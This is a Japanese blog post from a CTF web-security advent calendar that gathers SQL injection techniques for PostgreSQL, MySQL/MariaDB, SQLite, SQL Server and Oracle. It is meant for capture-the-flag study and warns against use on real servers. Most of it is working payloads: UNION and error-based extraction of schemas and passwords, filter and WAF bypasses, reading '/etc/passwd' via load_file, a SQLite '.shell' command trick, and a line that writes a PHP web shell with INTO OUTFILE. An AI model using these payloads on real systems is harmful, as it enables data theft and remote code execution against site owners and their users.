はまやんはまやんはまやん

hamayanhamayan's blog

CTFのWebセキュリティにおけるSQL Injectionまとめ(MySQL/MariaDB, PostgreSQL, SQL Server)

この記事はCTFのWebセキュリティ Advent Calendar 2021の5日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

SQL Injection

DB毎の攻撃まとめ

PostgreSQL

  • ' OR 1=1 --
  • Postgres SQL Injection Cheat Sheet | pentestmonkey
    • ここを見ると抜き出す方法が色々書いてある
  • カラムのconcatが簡単にできる
    • UNION SELECT username || '~' || password FROM usersとすると、admin~passみたいに結合されて出てくる
  • pg_userでユーザー情報を抜き取れる
    • /?search=%5C%27%20%3B%20select%20usename,%20usename,%20now()%20from%20pg_user%3B%20--%20&limit=60
    • URLに入れるときは' ;%エンコードする。,-'()はしない
    • date型を要求された場合は、now()を入れておけば通ったりする
    • \' union select url, session_user, tweeted_at from tweets --のようにどんな場合でもsession_userとすればログインユーザーが得られるみたい
  • コメント /* comment */が使えたりする。-がNGになっていたら、末尾に/*でコメントできるかも
    • ' union select 'admin', 'pass' /*
  • リテラル表現を変えたいとき
    • 単純に 'ad'||'min''admin'
    • Unicode表現 'test'と書きたい時にU&'\0074\0065\0073\0074'と書ける
    • two dollar signs 'test'と書きたいときに$$test$$と書ける
      • $$a$$||$$d$$||$$m$$||$$i$$||$$n$$このように書くと'admin'と同様
    • LPAD
      • LPAD('n', 5, LPAD('i', 4, LPAD('m', 3, LPAD('d', 2, LPAD('a', 1, '')))))とすると、'admin'と同様
    • 部分文字列を抜き出したいとき
      • '123456'::VARCHAR(3)とすると、'123'となる
    • 実はHEX表現もできる
      • admin0x61646d696eとできる 変換これ&input=YWRtaW4)
  • VALUE句で固定値をUNION可能 UNION VALUE('admin', 'password')
  • Blind Postgresql Sql Injection – Tutorial – dotcppfile's Blog
    • current_databaseが使えないならposgresqlじゃない?
  • カラム名をutf16で指定可能 U&"\0075\0073\0065\0072\006E\0061\006D\0065"

MySQL/MariaDB

  • #が使えたらMySQLだし、そうでなければそれ以外(PostgresSQL, SQLite)
    • /* */もコメントで使える
  • UNIONによる結合で情報を抜く
    • UNION SELECT null,flag FROM flagみたいにやるが、カラムが使えないときは、JOINを使うこともある 参考
  • 暗黙の型変換
    • MySQLでは+演算子は数値の和算として評価されるので'a'+'b'は'ab'ではなくて0+0で0と解釈される
    • 数値として正しくない文字列は0として変換されるらしい
    • これでpassword = 0となるが、またしても暗黙の型c変換が起こり、passwordは一般に数値変換できないので、0=0と認識されて、全件ヒットする
    • ||演算子論理和として解釈されるので危険らしい
    • パスワードに'=0#を入れると、パスワード比較部分が恒真となったりする
  • UPDATEをインジェクションできたりする
    • 1;UPDATE photos SET filename='* || env > dump.txt' WHERE id = 3;COMMIT;--
    • セミコロンで区切って、それっぽくつなげる。
    • セミコロン後に空白を入れるとダメっぽい?
  • 使用済みペイロード一覧
    • ' OR ''='' #
    • カラム数特定
      • ' UNION SELECT 1 #
      • ' UNION SELECT 1,2 #
    • テーブル情報抜く
      • ' UNION SELECT group_concat(TABLE_NAME), null from INFORMATION_SCHEMA.COLUMNS #
      • ' UNION SELECT DISTINCT TABLE_NAME, null from INFORMATION_SCHEMA.COLUMNS #
      • ' UNION SELECT group_concat(COLUMN_NAME), null FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'Agents' #
    • 普通にデータ抜く
      • ' UNION SELECT group_concat(UA), null FROM Agents #
  • 便利なshow構文というのがある
    • 1';show databases;#みたいに複文にして実行する
    • show databases; DB一覧表示(カラム:Database)
    • show tables; 参照可能なテーブル表示
      • show tables from [dbname];# とあるDBにあるテーブル表示(こっちは使わない方がいいかも)
    • show columns from [tablename]; カラム表示
      • show columns from 1919810931114514; なんか分からんけど`をつけないと動かないときがある
  • テーブルをごっそり入れ替えて情報を抜き取る
    • tableAを参照して表示しているサイトがあり、秘密情報がtableBにあるとする
    • 以下のようにして、テーブルを入れ替えて、秘密情報を抜き取る
      1. rename tables tableA to tableABackup; tableAを別に移す
      2. rename tables tableB to tableA; tableBをtableAにする
      3. alter table table change flag id varchar(100); 正しく参照できるようにカラム名を変える
  • 文字列系
    • 普通は'admin'とすればいいが、シングルクオートが使えない場合はCHAR(0x61,0x64,0x6d,0x69,0x6e)のようにして表現可能
      • char(97,100,109,105,110)でもadmin
    • substrはSUBSTRINGと書いても使えるし、MIDと書いても使える(使い方は全部一緒)
    • 文字列比較は大文字小文字は区別しない
      • id='AdmIn'と書いてもいい。こうすると、ちゃんと取ってはこれるけど、入力は厳密にadminではない状況を作れる
  • 論理演算子
  • MySQL 1093 error
    • クエリステートメント内で同じテーブルを呼び出す場合、エラーを発生させる
    • |Lord of SQL_injection| #29 Phantom :: 보안 한 걸음
    • insert into Users values('username',(select password from Users where username='admin'))は成功しそうだが、失敗する
    • 同じテーブルを呼び出しているので、違うテーブルとしてやればいい
      • エイリアスを付けて回避する
        • UsersテーブルをUsers2テーブルとして別名にしている
        • insert into Users values('username',(select password from Users Users2 where username='admin'))
      • 一時テーブルを作成する
        • insert into Users values('username',(select password from (select password from Users where username='admin')))
  • SQLインジェクション外の話
  • LIMIT
    • LIMIT M,Nと書くと「先頭M行をスキップして、N行分取り出す」となる
  • スキーマ=データベース
  • 存在しない関数を呼び出すと、エラーを誘発でき、エラー文が表示される場合はDB名が抜ける
  • inというwordを使わずにテーブル名を抜き出す方法
  • id=-1=0は恒真
    • id=-1がfalseになって0になって0=0でtrue
  • かっこを使ってスペース無しで文を成立させる
  • 暗黙の型変換
  • where years=yearsみたいになってると恒真
  • フィルターでunionできないときは?
  • Fingerprinting MySQL
  • MySQLでinformation_schemaを使用せずに未知のテーブルから情報取得
  • 使えるメソッド
    • database() DBのバージョンとか
    • user() ユーザー名とか
  • 実はLFIできる load_file('/etc/passwd')

SQLite

  • チートシート
  • SELECTドキュメント SELECT
  • テーブル情報を全て抜き出す
    • SELECT group_concat(sql) FROM sqlite_masterとすると、カンマで結合されて1レコードで出てくる 出典
    • SELECT sql FROM sqlite_masterと書くと全部バラバラに出てくる
  • カラム名取得
    • select sql from sqlite_master where type='table' and name='table_name'
  • 末尾コメント -- /*
    • ヌルバイトを終端として利用できる(=実質ヌルバイトを末尾コメントとして利用できる)
  • 使用済みペイロード
    • 1 OR 1=1
    • moneys='||(select sqlite_version()) --で試せる
  • ASを使って新しいテーブルを作成する
    • SELECT id,username FROM (select 2 id,enemy username FROM costume where id like 1) WHERE id = 2
    • こういう感じにFROM内部にインジェクションすることで、enemyをぶっこ抜ける
    • SELECT内部はselect 2 as id, enemy as username FROM costume where id like 1と同義
  • 文字列のエスケープ
    • シングルクオートのエスケープは\ではなく、''のように表現する
    • ダブルクオートでも同じ""とするとエスケープで、\"エスケープになってない
  • SQLiteではDB情報がファイルとして出力されるので、そのファイルが見られてしまうと情報流出する(適切な権限を付けよう)
    • 仮にユーザー毎にDBファイルを作成していて、db_username.dbというファイルを作成していたとする
    • この時にusernameとして、/を入れることができると、db参照時にエラーが発生して、エラー表示を見ることができたりする
    • すると、dbファイル名の規則性が抜き取れるので、db_admin.dbみたいにしてアクセスして、バイナリエディタで中身を見れば、色々分かる
  • VALUE句で固定値をUNION可能 UNION VALUE('admin', 'password')
  • 使えそうなレポート
  • こういう風にしてあったらプリペアードステートメントなので安全
    • cursor.execute("INSERT INTO table VALUES ?", args)
    • だが、例外的にテーブル名の場合は脆弱になる場合があるらしい ここ
  • 文字列系
    • charでdec2charできる id=char(97,100,109,105,110)
    • ||は文字列結合
    • unicode(c) := mysqlとかのasciiと同じ用途で使える
  • last_insert_rowid()=last_insert_rowid()を条件に使ってみて使えたらSQLiteという見分け方もある
  • Baby SQLi - zer0pts CTF 2021 - HackMD
    • sqliteをライブラリを使わずにプロセスコールでやってるときは複文のような感じでSQLiteのコマンドが入れ込める
    • .shell [command]
  • INSERTで任意の情報を抜き取る
    • 入れ子でSELECTを入れ込むことで抜ける
      • insert into visit (post_id, user_id, ua) values (5,2,'$user-agent');で$user-agentに' || (SELECT文) ||'を入れる
  • コンマが使えないとき。以下2つは同じ
    • UNION SELECT null,user()
    • UNION SELECT * FROM (SELECT null) AS a JOIN (SELECT user()) AS b
  • テーブル名は大文字小文字無視する
    • flagでもFlagでも一緒
  • 改行が入ってても無視する
    • 改行をスペースの代わりにできる %0D%0A
  • カラム名として16進数表記をしたいとき SELECT x'686f6765' FROM example; (テーブル名には使えない)

SQL Server (MS SQL)

  • MSSQL Injection Cheat Sheet | pentestmonkey
    • テーブル一覧
      • SELECT name FROM sysobjects WHERE xtype = 'U';
      • select name from sys.tables
    • カラム一覧
      • select name from sys.columns where object_id=オブジェクトID
        • オブジェクトIDはselect object_id from sys.tables where name = 'テーブル名'で取ってこれる
  • コメントは--,/**/
  • エラーを出したいとき
    • Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Conversion failed when converting the varchar value 'z' to data type int.
      • [LOS] nessie
      • 1=(case when 条件 then 'z' end)とすれば条件がtrueならエラーが出る
  • 関数
    • 長さ取得:len
    • 部分文字列:substring
  • HAVING, GROUP BYトリック
    • group by 1でも出る
    • [Lord of SQL Injection] LoS - revenant 문제풀이 | mingzzi
    • ここに書いてある。having 1=1を書いておくと、エラーが出る。かつ、エラーが表示されるようになっていると、カラム名が流出する。
    • 1個とってきたら、group by name1 having 1=1としてエラーを出すと2つ目のカラム名が出てくる。
    • カラム名を入れてうまくいかなかったら[カラム名]のようにするとうまくいったりする(よくわからん)
    • エラーが消えたら全部抜き取り成功
  • エラー文から内容を抜き取る方法
    • password=1をwhereの条件に含めると、passwordに文字列が来ると比較に失敗して、中身がエラー文に表示されてしまう
    • 一時カラム名みたいなカラム名の場合は"9604b0c8"=1のようにダブルクオーテーションで指定する
  • スペースが使えないとき
    • これはデータベース識別子 - SQL Server | Microsoft Docsが使える。
    • 本来は予約語をテーブル名とかにした場合に使うものであるが、これを使うとスペースが必要なくなる。
    • select password from Users where username = 'admin'select[password]from[Users]where[username]='admin'
    • 例:select[pw]from[prob_mummy]where[id]='admin'and[pw]like'A%'
  • 文字列
    • concatするときは'x'||'y'のように||を使う
    • char(97,100,109,105,110)でadminになる

Oracle DB

  • 特徴的なエラー Microsoft OLE DB Provider for ODBC Drivers error '80004005'Microsoft VBScript runtime error '800a01a8'
  • DB情報を抜き取るとき
    • テーブル名を全部抜く select table_name from all_tables
      • ALL_TABLES
      • $が入ってるやつはシステム系?
    • テーブル名からカラム名を全部抜く select column_name from all_tab_columns WHERE table_name = 'table'
  • 参考:Union Based Oracle Injection
  • 文字結合は||

細かいテク

  • HowToHunt/SQL_Injection.md at master · KathanP19/HowToHunt
  • SQL文のlimitにインジェクションできるとき
    • limitの後ろにunionでテーブルを追加することはできないが、Blind SQL Injectionを仕掛けることはできる
    • → Blind SQL Injection
  • サニタイジング回避テク
    • 1度だけ置換される、ブラックリストが空文字で変換されるとき
      • selselectectのような感じにすると、内部のselectが消えて、無事selectになってくれる
    • ‘union(select(1),tabe_name,(3)frominformation_schema.tables)#
    • フィルタしている場合
      • ユーザ名:パスワードの組で指定する時に、ユーザ名でadmin'--としてしまう 手法出典 問題:picoCTF2019 Irish-Name-Repo 2
  • 空白の代わりに
    • Space2Comment
      • /**/を使うと空白として扱われれる
      • RITSEC CTF 2018 Space Force 「'=''or'」、「'//union//select//*//from/**/spaceships#」、「'=''#」
      • "union(select/**/table_name/**/frominformation_schema.tables)#
    • 特殊文字をスペース代わりに使える
      • 垂直タブ(%0b)\v
      • Form Feed、改ページ(%0C)
      • \n\r\tも使える
  • limitテク
    • limit 1とすると先頭1つになるが、limit 1,1とすると先頭2つ目、limit 2,1とすると先頭3つ目。
  • バージョン抜き出し
  • substr
    • SUBSTR(string,position,length)
      • positionは1-indexed
    • 代わり substring(), mid(), like 'x%', like hex(x%)
  • ascii代わり hex(), bin(), 0xabcd
  • sleep()代わり benchmark(), WAIT FOR DELAY 'time'(S)
  • Quine SQL query
  • unionが使えないとき
    • blind SQLiするしかない?
  • selectがつかないとき
    • 基本抜き取れない
    • MySQLのテーブルをごっそり入れ替えて情報を抜き取る」にあるようなヤバい奴をやる
  • 論理演算子について
    • ANDの方が優先度が高い
      • A=B AND C='[user]'に対して、A=B AND C='' OR D=E AND F='G'となるようインジェクションする
      • 前半のANDはfalseなので実質後半のD=E AND F='G'の評価と等価となる
    • true,falseと書けばboolリテラルになる
  • PHP
  • 文字列系
  • IN構文
    • WHERE user IN("A","B","C")と書くと、userがA,B,Cのいずれかのものが取ってこられる
    • user = 'A'と書くところをuser IN("A")と書ける
  • like構文
    • %を使うと0文字以上のエイリアスとなる。
    • _を使うと任意の1文字のエイリアスとなる。なので、_ __ ___のように増やしていって、文字数を特定するのに使える
  • 末尾のいらない部分について
    • コメントで消す
    • ;%00で消す(ヌルバイト攻撃)
  • 改行ありのSQLについて
    • 例えばselect * from Users where id = 'admin' # [injection]という元のSQL文があるとき、
      • 改行文字である%0aを先頭に入れることで改行されて、コメントの影響を消すことができる
  • INSERT
  • 適当にsleepしたいとき union select sleep(1)をつける
  • WAF bypass
  • スペースと長さの上限を上手く使うテク
    • id char(10)としてテーブル定義されてるときにidにadmin 1を与えたとする
      • こうすると、idが存在するかの検索ではid = 'admin 1'で検索されて、idが存在しないとなるが、
      • updateの歳にはスペースは前後のスペースは無視されるので、adminに対して更新がかかる(ほんとか?検索時にスペースが無視されるだけかも)
  • VERSION()でDBのバージョンとかが抜ける
  • information_schema系
    • SQL標準らしい(ほんとか?)、とりあえずMySQLPostgreSQLでは使える
    • 通常の流れ ' UNION SELECT GROUP_CONCAT(distinct TABLE_SCHEMA),1,1 FROM INFORMATION_SCHEMA.TABLES # ' UNION select GROUP_CONCAT(distinct table_name),1,1 from information_schema.tables where table_schema = 'search' # ' UNION select GROUP_CONCAT(column_name),1,1 from information_schema.columns where table_name='secrets' # ' UNION select username,password,1 from secrets #
    • スキーマを抜く SELECT GROUP_CONCAT(distinct TABLE_SCHEMA) FROM INFORMATION_SCHEMA.TABLES
      • ちなみにDATABASE()で(デフォルト?)現在使ってるスキーマが分かる
    • テーブルを抜く select GROUP_CONCAT(distinct table_name) from information_schema.tables
    • カラムを抜く select GROUP_CONCAT(column_name) from information_schema.columns where table_name='tablename'
    • information_schema.tables
      • TABLE_SCHEMAを抜き取ると、どれに所属しているか分かる。select distinct table_schema from information_schema.tablesみたいに取り出すのがオススメ
        • information_schema 今使ってるこれ
        • pg_catalog postgresの情報ならここに入ってる
        • public ユーザー定義(自分が見た問題ではそうだった)
      • テーブルではorder by table_typeをつけると先頭にユーザーテーブルが来るみたい
        • 注意としてtable_typeは一意ではないので、同じtable_type内での順番はリクエスト毎に不定になる
    • information_schema.columns
      • PostgreSQL:テーブルとカラムを抜く select concat(TABLE_NAME,COLUMN_NAME) from information_schema.columns
      • MySQL: SELECT group_concat(TABLE_NAME) from INFORMATION_SCHEMA.COLUMNS
      • テーブルからカラムを抜く select column_name from information_schema.columns where table_name='tablename'
    • information_schema.processlist
      • 現在動いているスレッドについての情報が書かれている。
      • quineで使える ' union select substr(info,38,70) from information_schema.processlist%23 ここ
  • Second Order SQL Injection
  • いらない句を文字列に押し込むことで無効化する
    • SELECT useername, password FROM users WHERE username='${usernmame}' AND password='${password}'
      • ad'||'min' group by
      • '
      • こうすると、後ろのpassword部分が文字列に押し込まれてgroup byで使われる。使われても無いので無視されるという寸法
      • group byで押し込む以外にもSUBSTRとかも使える
  • SQL Injection Cheat Sheet | Netsparker
  • order byによる取得カラム数判定
    • [未知のSQL文] order by [番号]の形を作る
    • 番号の部分で未知のSQL文で取得しているカラム数を超えてしまうとエラーになることを利用して二分探索的に探索する
    • つまり、取得カラム数が3ならorder by 1とかorder by 3は成功するが、order by 4order by 10は失敗する
  • カラムをくっつけて持ってきたいとき
    • concat(username,0x3a,password)
    • group_concat(username,0x3a,password,0x0a)
  • Error-Based SQL Injection
  • SQLiを使えばDoSができるっぽいがそれどころじゃない気がするので、ちゃんと読んでない
  • order byの中に入れるときのinjection
  • addslashをマルチバイト文字でbypassするテクニック
  • SQLiのwaf bypassテク
  • SQLiを使ってファイル書き込みをする
    • union select "<?php SYSTEM($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'とやればwebshellを置ける
  • アプリケーションとSQL処理で処理方法が違うことを利用
    • スペースの有無
      • adminadmin
    • Unicode
      • iı
        • SQLServerだと i == ıとしてwhere内部で処理される